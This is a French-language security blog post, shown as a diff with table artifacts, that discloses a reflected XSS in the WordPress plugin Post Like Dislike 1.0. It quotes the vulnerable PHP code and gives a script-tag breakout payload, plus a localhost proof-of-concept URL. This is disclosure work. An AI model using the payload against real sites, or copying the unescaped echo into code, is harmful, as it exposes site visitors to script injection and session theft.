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Cross-Site Scripting (reflected) dans le plugin Wordpress Post Like D…
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_posts/2023-12-06-XSS-dans-le-plugin-Wordpress-Post-Like-Dislike.md
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title: "Cross-Site Scripting (reflected) dans le plugin Wordpress Post Like Dislike" | ||
tags: [vulnérabilité] | ||
--- | ||
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## Présentation du plugin | ||
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Le plugin [Post Like Dislike](https://wordpress.org/plugins/post-like-dislike/) se présente de cette façon : | ||
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> By this plugin you can get like dislike of your post. | ||
> From the plugin admin pannel you can choose where you want to put the thumb left or right and top or bottom. | ||
> | ||
> Here is two kind of voting system — Anonymous Vote and Registered Vote. | ||
> 1) Anonymous Vote – Any one can vote here. It is not necessary to register for vote. It is depend on session, if session destroy you can vote again | ||
> 2) Registered Vote – Only Registered member can vote | ||
La version testée est la 1.0 qui date d'il y a 10 ans au moment de ces lignes. | ||
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## La vulnérabilité | ||
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Dans le script `post-like-dislike.php` on trouve un hook pour modifier l'entête des pages web : | ||
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```php | ||
add_action('wp_head', 'like_post') | ||
``` | ||
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Voici cette fonction `like_post` : | ||
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```php | ||
function like_post($content) | ||
{ | ||
if ($_REQUEST['act'] == 'like' && $_REQUEST['q'] != "" && $_SESSION[$_REQUEST['q'].'_post_like'] == "") | ||
{ | ||
$_SESSION[$_REQUEST['q'].'_post_like'] = 'done'; | ||
$counts = get_post_meta($_REQUEST['q'],'like_post',true)+1; | ||
add_post_meta($_REQUEST['q'], 'like_post', $counts, true); | ||
update_post_meta($_REQUEST['q'], 'like_post', $counts); | ||
$url_rdir = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."?p=".$_REQUEST['q']; | ||
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if (get_option('vote_type') == 'reg') { | ||
$current_user = wp_get_current_user(); | ||
$usr_id = $current_user->ID; | ||
$vote_done = get_option('vote_done'); | ||
if ($vote_done == '') { | ||
$vote_done[$usr_id] = $_REQUEST['q']; | ||
add_option('vote_done', $vote_done); | ||
} else { | ||
if ($vote_done[$usr_id] == '') { | ||
$vote_done[$usr_id] = $_REQUEST['q']; | ||
} else { | ||
$vote_pst = explode(",",$vote_done[$usr_id]); | ||
for ($i=0; $i<=count($vote_pst); $i++) { | ||
if ($vote_pst[$i] != $_REQUEST['q']) { | ||
$do_vote = "yes"; | ||
break; | ||
} | ||
} | ||
if ($do_vote == 'yes') { | ||
$vote_done[$usr_id] = $vote_done[$usr_id].",".$_REQUEST['q']; | ||
} | ||
} | ||
update_option('vote_done', $vote_done); | ||
} | ||
} | ||
?> | ||
<script type="text/javascript"> | ||
window.location = "<?php echo $url_rdir; ?>"; | ||
</script> | ||
<?php | ||
} | ||
if ($_REQUEST['act'] == 'unlike' && $_REQUEST['q'] != "" && $_SESSION[$_REQUEST['p'].'_post_like'] == "") { | ||
--- snip, code presque similaire, snip --- | ||
``` | ||
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Ce qui nous intéresse, c'est le traitement de la variable `$url_rdir` qui est affichée sans échappement préalable des caractères HTML. | ||
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On peut voir qu'elle est générée à partir d'éléments sous notre contrôle, en particulier la query string : | ||
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```php | ||
$url_rdir = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."?p=".$_REQUEST['q']; | ||
``` | ||
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Pour réussir l'exploitation qui se situe au milieu d'une balise `script`, il faut d'abord faire échouer le code javascript courant pour l'empêcher de faire une redirection qui bloquerait l'exécution de notre code. | ||
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Pour cela, il suffit par exemple de ne pas fermer la chaine de caractère courante (pas de double quote). | ||
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On injectera alors quelque chose de très simple comme : | ||
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```html | ||
</script><script>alert(/XSS/)</script> | ||
``` | ||
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Bref, on ferme la balise courante qui échouera pour une raison de syntaxe et on en ouvre une nouvelle. | ||
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PoC : | ||
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``` | ||
http://localhost:8000/?q=%3C%2FsCrIpT%3E%3CScRiPt%3Ealert%28%2FXSS%2F%29%3C%2FsCrIpT%3E&act=unlike | ||
``` | ||
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J'ai remarqué que l'exploitation échoue avec le paramètre `act` valant `like` si le post a déjà été liké. | ||
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Pour passer outre, il vaut mieux passer `act=unlike` qui semble marcher à tous les coups. |